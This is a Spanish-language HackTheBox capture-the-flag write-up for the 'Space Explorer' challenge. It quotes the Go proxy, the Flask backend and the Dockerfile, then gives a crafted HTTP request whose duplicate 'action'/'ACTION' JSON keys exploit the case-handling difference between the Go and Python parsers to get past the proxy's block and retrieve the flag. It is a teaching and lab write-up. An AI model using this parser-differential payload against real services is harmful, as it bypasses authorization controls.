Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
HackTheBox/Challenges/Challenge Space Explorer.md READ_ONLY

Challenge Space Explorer

Este reto consiste en analizar una aplicación web con arquitectura de microservicios basada en Go y Python Flask y la solución consiste en explotar una colisión de claves JSON provocada por la desincronización de sus analizadores para evadir los controles de seguridad y obtener la flag.

El análisis del código fuente de la aplicación revela la estructura de los microservicios. El proxy inverso maneja las peticiones iniciales. Al inspeccionar el archivo main.go, se observa un mecanismo de validación para el punto de enlace /execute.

package main

import (
    "bytes"
    "encoding/json"
    "io"
    "log"
    "net/http"
)

type RequestData struct {
    Action string `json:"action"`
}

func homeHandler(w http.ResponseWriter, r *http.Request) {
    html := `<!DOCTYPE html>
<html lang="en">
...
</html>`
    w.Header().Set("Content-Type", "text/html")
    w.Write([]byte(html))
}

func executeHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
        return
    }

    body, err := io.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Failed to read request body", http.StatusBadRequest)
        return
    }

    var requestData RequestData
    if err := json.Unmarshal(body, &requestData); err != nil {
        http.Error(w, "Invalid JSON", http.StatusBadRequest)
        return
    }

    switch requestData.Action {
    case "getcosmic":
        resp, err := http.Post("http://localhost:8081/execute", "application/json", bytes.NewBuffer(body))
        if err != nil {
            log.Printf("Failed to reach cosmic scanner: %v", err)
            http.Error(w, "Scanner offline", http.StatusInternalServerError)
            return
        }
        defer resp.Body.Close()
        io.Copy(w, resp.Body)
    case "getSecureCode":
        w.Write([]byte("Access denied: Invalid security clearance"))
    default:
        http.Error(w, "Invalid command", http.StatusBadRequest)
    }
}

func main() {
    http.HandleFunc("/", homeHandler)
    http.HandleFunc("/execute", executeHandler)

    log.Println("Cosmic Explorer running on http://localhost:8080")
    log.Fatal(http.ListenAndServe(":8080", nil))
}

El proxy en Go verifica el parámetro action dentro del cuerpo de la petición JSON. Si la acción tiene el valor getSecureCode, deniega el acceso y devuelve un mensaje de error. Por otro lado, si la acción es getcosmic, la petición se reenvía al backend en Python.

El archivo Dockerfile proporciona información sobre la configuración del entorno, confirmando el uso de Go 1.23 y Python 3.9, además de revelar que la flag se almacena en una variable de entorno.

FROM golang:1.23 AS go-builder

WORKDIR /usr/src/go-getter

COPY go-app/go.mod go-app/go.sum ./
RUN go mod download
COPY go-app/*.go ./

RUN CGO_ENABLED=0 GOOS=linux go build -o /docker-gs-ping

FROM python:3.9-slim

WORKDIR /usr/src/python-service

COPY python-service/app.py .

RUN pip install --no-cache-dir flask gunicorn

COPY --from=go-builder /docker-gs-ping /usr/local/bin/docker-gs-ping
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh /usr/local/bin/docker-gs-ping

ENV FLAG="HTB{f4k3_fl4g_4_t3st1ng}"

EXPOSE 8080

ENTRYPOINT ["/entrypoint.sh"]

Al examinar el servicio backend en el archivo app.py, se expone la forma en que se procesan las peticiones una vez superan el proxy.

from flask import Flask, request, jsonify
import random
import os

app = Flask(__name__)

COSMIC_ANOMALIES = [
    {
        "name": "Quantum Singularity",
        "src": "https://images.unsplash.com/photo-1462331940025-496dfbfc7564?w=600"
    },
    {
        "name": "Nebula Cluster",
        "src": "https://images.unsplash.com/photo-1506318137071-a8e063b4bec0?w=600"
    },
    {
        "name": "Pulsar Emission",
        "src": "https://images.unsplash.com/photo-1465101162946-4377e57745c3?w=600"
    },
    {
        "name": "Dark Matter Veil",
        "src": "https://images.unsplash.com/photo-1534796636912-3b95b3ab5986?w=600"
    },
    {
        "name": "Supernova Remnant",
        "src": "https://images.unsplash.com/photo-1454789548928-9efd52dc4031?w=600"
    }
]

@app.route('/execute', methods=['POST'])
def execute():
    if not request.is_json:
        return jsonify({"error": "Invalid transmission format"}), 400

    data = request.get_json()

    if 'action' not in data:
        return jsonify({"error": "No command received"}), 400

    if data['action'] == "getcosmic":
        anomaly = random.choice(COSMIC_ANOMALIES)
        return jsonify(anomaly)
    elif data['action'] == "getSecureCode":
        return jsonify({
            "flag": os.getenv("FLAG", "HTB{flag_not_set}"),
            "name": "Captain's Log",
            "src": "https://images.unsplash.com/photo-1534447677768-be436bb09401?w=600"
        })
    else:
        return jsonify({"error": "Unknown command"}), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8081, debug=True)

El servicio en Python evalúa el campo action de manera distinta. Si el backend recibe una acción con el valor getSecureCode, recupera y retorna la flag oculta. Esto genera una discrepancia entre ambos servicios: el proxy en Go bloquea la acción getSecureCode, mientras que el backend en Python la requiere para revelar la información.

Para evadir la validación de seguridad, se puede explotar la desincronización entre los analizadores JSON de Go y Python. La función json.Unmarshal de Go realiza un emparejamiento insensible a mayúsculas y minúsculas al asignar claves JSON a los campos de su estructura. Si existen múltiples claves coincidentes, la última en ser analizada sobrescribe los valores anteriores. En contraste, el analizador JSON de Python distingue entre mayúsculas y minúsculas, procesando estrictamente la clave exacta.

Al enviar una petición HTTP manipulada con claves duplicadas —una en minúsculas y otra en mayúsculas—, es posible engañar al proxy.

POST /execute HTTP/1.1
Host: 154.57.164.70:31916
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.70:31916/
Content-Type: application/json
Content-Length: 54
Origin: http://154.57.164.70:31916
Sec-GPC: 1
Connection: keep-alive
Priority: u=0

{
"action":"getSecureCode",
"ACTION": "getcosmic"
}

Cuando se procesa este payload, el proxy de Go asigna tanto action como ACTION a su estructura. La segunda clave, ACTION con el valor getcosmic, sobrescribe la primera, cumpliendo con la validación del proxy y permitiendo el reenvío de la petición. Una vez que el backend de Python recibe el mismo contenido, extrae exactamente la clave en minúsculas action, cuyo valor es getSecureCode. Esto activa la lógica que expone la flag.

HTTP/1.1 200 OK
Date: Mon, 20 Jul 2026 23:15:17 GMT
Content-Length: 128
Content-Type: text/plain; charset=utf-8

{
    "flag": "HTB{FLAG}",
    "name": "Captain's Log",
    "src": "https://images.unsplash.com/photo-1534447677768-be436bb09401?w=600"
}

El servidor responde con la flag correspondiente, resolviendo así el desafío con éxito.